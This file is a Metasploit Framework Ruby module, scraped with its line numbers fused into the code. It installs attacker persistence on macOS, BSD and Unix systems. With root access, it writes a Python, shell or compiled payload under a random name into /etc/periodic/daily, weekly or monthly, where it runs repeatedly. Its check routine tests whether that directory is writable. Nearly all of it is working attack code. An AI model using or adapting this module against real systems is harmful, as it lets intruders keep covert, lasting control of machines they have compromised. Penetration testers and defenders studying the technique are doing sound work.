Path: blob/master/modules/exploits/multi/local/periodic_script_persistence.rb
21627 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Periodic Script Persistence',17'Description' => %q{18This module will achieve persistence by writing a script to the /etc/periodic directory.19According to The Art of Mac Malware no such malware species persist in this manner (2024).20This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.21},22'License' => MSF_LICENSE,23'Author' => [24'gardnerapp',25'msutovsky-r7'26],27'References' => [28[29'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',30'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'31]32],33'DisclosureDate' => '2012-04-01',34'Privileged' => true,35'Platform' => %w[bsd unix osx],36'Targets' => [37[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],38[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],39[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],40[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]41],42'DefaultOptions' => {43'DisablePayloadHandler' => true44},45'DefaultTarget' => 4,46'SessionTypes' => [ 'shell', 'meterpreter' ],47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],50'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]51}52)53)5455register_options([56OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),57OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),58])59end6061def check62periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"6364return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic6566CheckCode::Safe "Unable to write to #{periodic}"67end6869def write_periodic_script(payload_content)70periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"7172periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']73periodic_script = File.join(periodic_dir, periodic_script_name)7475@clean_up_rc << periodic_script.to_s7677fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)7879print_status "Succesfully wrote periodic script to #{periodic_script}."80end8182def exploit83@clean_up_rc = 'sudo rm'8485if target['Arch'] == ARCH_PYTHON86print_status 'Getting python version & path.'8788python = cmd_exec('which python3 || which python2 || which python')8990fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)9192print_good "Found python path #{python}"9394payload_bin = "#{python}\n" + payload.encoded95elsif target['Arch'] == ARCH_CMD96payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.encoded97else98payload_bin = generate_payload_exe99end100101write_periodic_script payload_bin102103print_status("Cleanup command '#{@clean_up_rc}'")104end105end106107108